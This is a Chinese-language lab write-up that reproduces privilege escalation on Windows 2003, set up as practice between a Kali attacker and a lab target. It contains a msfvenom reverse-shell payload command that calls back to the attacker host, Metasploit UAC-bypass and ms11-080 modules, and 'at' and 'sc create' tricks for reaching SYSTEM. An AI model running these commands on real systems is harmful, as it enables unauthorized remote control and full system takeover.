windows权限等级划分为 system-administrator-user,通常使用的系统管理员账号都是administrator,windows提权一般指的都是提权至system权限。本文参考网上文章对windows 2003操作系统进行提权复现。windows 2003比较久远,并且使用的很少了,这里主要以练习方法为主,后续还会复现高级版本windows的提权操作。
一、准备工作
攻击机:kali 2019.4 192.168.100.135
靶机:windows 2003 192.168.100.149 使用phpstudy2018提供web服务
前置条件:已经默认拿到webshell,暂不考虑杀软问题
二、普通用户提权
1、绕过uac(失败)
一个普通用户权限的webshell
Msf生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.135 LPORT=4444 -f exe -o payload.exe
菜刀连接上传后远程执行
msf监听系统上线
直接提权失败
查证后得知需要绕过uac安全机制
UAC:⽤户帐户控制(简称UAC)是微软公司在其Windows Vista,及更⾼版本操作系统中采⽤的⼀种控制机制。通过
本⽂你将了解它是如何保护你免受恶意软件侵害的,以及忽略UAC提⽰将可能给你系统带来的⿇烦
绕过uac的办法有:
use exploit/windows/local/ask
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
当前session后台运行,记住session号
选择exploit/windows/local/ask
再次设置好接收配置
失败
更换uac绕过exp exploit/windows/local/bypassuac
还是失败,提示并无漏洞,可能win2003这种方式无法提权,也或许跟版本有关。
2、漏洞提权
还是利用刚才的session
Msf命令:
meterpreter > run post/windows/gather/enum_patches
可以看到存在多个提权漏洞
以ms11-080为例
选择该提权exp,设置好配置,即可提权
三、administrator提权
1、at提权
At提权
At提权指的是将administrator权限提升至system
在 Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以轻松将Administrators 组下的用户权限提升到 SYSTEM
at 是一个发布定时任务计划的命令行工具,语法比较简单。通过 at 命令发布的定时任务计划, Windows 默认以 SYSTEM 权限运行。定时任务计划可以是批处理、可以是一个二进制文件。类似于linux中的suid提权
先在本地服务器环境试验,如图,当前账户是administrator
输入at看下
当前时间20:17
我们发布一个20:18自动任务
at 20:18 /interactive cmd ,在20:18的时候打开一个cmd窗口,并使用界面交互模式/interactive,当前账户还是administrator
到了20:18后,系统自动弹出一个新的cmd窗口,此时用户已经成了system
在得到一个system的cmd之后,使用taskmgr命令调用任务管理器,此时的任务管理器是system权限,explorer用户还是system
然后结束掉explore进程,再使用任务管理器新建explorer进程,将会得到一个system的桌面环境
明白了其原理,那么我们可以通过这条命令实现msf的联动
找到一个cmdshell后,将我们的msf木马写入在at定时任务中
成功回连后,当前用户即为system
2、sc命令提权
SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
sc Create syscmd binPath= “cmd /K start” type= own type= interact
这个命令的意思是创建一个名叫syscmd的新的交互式的cmd服务,然后执行
sc start syscmd,就得到了一个system权限的cmd环境
四、总结
主要是学习提权思路,提权方式并不止以上这些。
参考链接:https://lengjibo.github.io/windows提权总结/